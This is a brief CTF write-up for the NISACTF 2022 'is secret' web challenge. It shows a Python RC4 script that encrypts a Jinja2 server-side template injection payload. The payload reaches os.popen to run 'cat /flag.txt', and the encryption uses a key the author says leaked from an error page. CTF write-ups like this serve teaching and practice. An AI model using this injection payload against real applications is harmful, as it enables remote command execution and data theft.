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[NISACTF 2022]is secret succ3的WriteUp

2022-11-14 12:55By
succ3
WEBSSTI

网上找个 RC4 的加密脚本,密钥报错里有,直接 ssti

import base64
from urllib import parse
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    # print("res用于加密字符串,加密后是:%res" %res)
    cipher = "".join(res)
    #print("加密后的字符串是:\n%s" %cipher)
    enc_url = parse.quote(cipher)
    print("加密后的url编码:\n" + enc_url)
    #print("加密后的输出(经过base64编码):")
    #print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

rc4_main("HereIsTreasure",'''{{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}''')

payload:
secret?secret=......

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